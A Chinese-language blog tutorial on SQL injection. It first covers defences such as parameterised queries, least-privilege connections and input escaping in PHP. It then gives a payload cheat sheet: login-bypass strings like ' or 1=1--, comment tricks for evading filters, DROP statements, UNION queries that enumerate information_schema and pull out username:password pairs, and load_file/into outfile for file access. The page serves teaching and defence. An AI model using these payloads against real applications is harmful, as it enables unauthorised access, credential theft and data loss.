网站建设中,中国大陆地区请使用VPN访问,欢迎提建议,关注LSKR Mastodon

SQL注入:防范策略、PHP防御及实用技巧

本文详细介绍了SQL注入攻击的原理,了解常见的注入攻击手法、防御措施和实用的SQL语法技巧。

SQL 注入

前提

在学习了MySQL 常见命令与程序的学习后,对于SQL命令有了深入的了解后,学习SQL 注入

SQL注入

如果您通过网页获取用户输入的数据并将其插入一个MySQL数据库,那么就有可能发生SQL注入安全的问题。

本章节将为大家介绍如何防止SQL注入,并通过脚本来过滤SQL中注入的字符

所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

我们永远不要信任用户的输入,我们必须认定用户输入的数据都是不安全的,我们都需要对用户输入的数据进行过滤处理。

防止注入

永远不要信任用户的输入。对用户的输入进行校验,可以通过正则表达式,或限制长度;对单引号和 双"-"进行转换等。

永远不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。

永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。

不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。

应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装

sql注入的检测方法一般采取辅助软件或网站平台来检测,软件一般采用==sql注入检测工具jsky==,网站平台就有亿思网站安全平台检测工具。==MDCSOFT SCAN等。采用MDCSOFT-IPS可以有效的防御SQL注入,XSS攻击==等。

PHP 防止注入发生

在脚本语言,如Perl和PHP你可以对用户输入的数据进行转义从而来防止SQL注入。

PHP的MySQL扩展mysqli_real_escape_string()函数来转义特殊的输入字符

PHP脚本中我们可以使用addcslashes()函数来处理以上情况:用户输入的值有"_""%",则会出现这种情况:用户本来只是想查询"abcd_",查询结果中却有"abcd_"、"abcde"、"abcdf"slash表示斜杠;

注入参数

user():当前数据库用户

database():当前数据库名

version():当前使用的数据库版本

@@datadir:数据库存储数据路径

concat():联合数据,用于联合两条数据结果。如 concat(username,0x3a,password)

group_concat():和 concat() 类似,如 group_concat(DISTINCT+user,0x3a,password),用于把多条数据一次注入出来

concat_ws():用法类似

hex()unhex():用于 hex 编码解码

load_file():以文本方式读取文件,在 Windows 中,路径设置为 \\

select xxoo into outfile '路径':权限较高时可直接写文件

语法技巧

--

DROP sampletable;--

#

DROP sampletable;#

行内注释

/*注释内容*/

DROP/*comment*/sampletable`   DR/**/OP/*绕过过滤*/sampletable`   SELECT/*替换空格*/password/**/FROM/**/Members

/*! MYSQL专属 */

SELECT /*!32302 1/0, */ 1 FROM tablename

字符串编码

ASCII():返回字符的 ASCII 码值

CHAR():把整数转换为对应的字符

后台万能密码

admin' --

admin' #

admin'/*

' or 1=1--

' or 1=1#

' or 1=1/*

') or '1'='1--

') or ('1'='1--

以不同的用户登陆 ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

注入语句

获取所有数据库名和表名

#获取所有数据库
show databases;
select schema_name from information_schema.schemata;

# 查看当前所在的数据库名称
select database();
# 查看表
show tables;

使用union 来注入

--MySQL 4版本时用version=9,MySQL 5版本时用version=10
UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10;   /* 列出当前数据库中的表 */

UNION SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA=database();   /* 列出所有用户自定义数据库中的表 */

SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema!='information_schema' AND table_schema!='mysql';

获取表明列明

UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename' # 获取某一个表的对应的所有列名

-- 查询字段名为 username 的表
SELECT table_name FROM information_schema.columns WHERE column_name = 'username';

-- 查询字段名中包含 username 的表
SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%user%';

# 获取列名
show columns from [数据表]
show index from [数据表]

条件语句的注入

SELECT IF(1=1, true, false);
SELECT CASE WHEN 1=1 THEN true ELSE false END;

绕过引号的限制

如何绕过引号的限制

-- hex 编码
SELECT * FROM Users WHERE username = 0x61646D696E
-- char() 函数
SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)

如何绕过的特殊字符串

SELECT 'a' 'd' 'mi' 'n';
SELECT CONCAT('a', 'd', 'm', 'i', 'n');
SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n');
SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n');

使用 CONCAT() 时,任何个参数为 null,将返回 null,推荐使用 CONCAT_WS()CONCAT_WS()函数第一个参数表示用哪个字符间隔所查询的结果。

参考

[1] CTF wiki /SQL 注入

发表评论

Cookie Consent
我们使用 Cookie 来了解您如何使用我们的网站并提升您的体验。这包括个性化内容和广告。
Oops!
It seems there is something wrong with your internet connection. Please connect to the internet and start browsing again.
AdBlock Detected!
We have detected that you are using adblocking plugin in your browser.
The revenue we earn by the advertisements is used to manage this website, we request you to whitelist our website in your adblocking plugin.
Site is Blocked
Sorry! This site is not available in your country.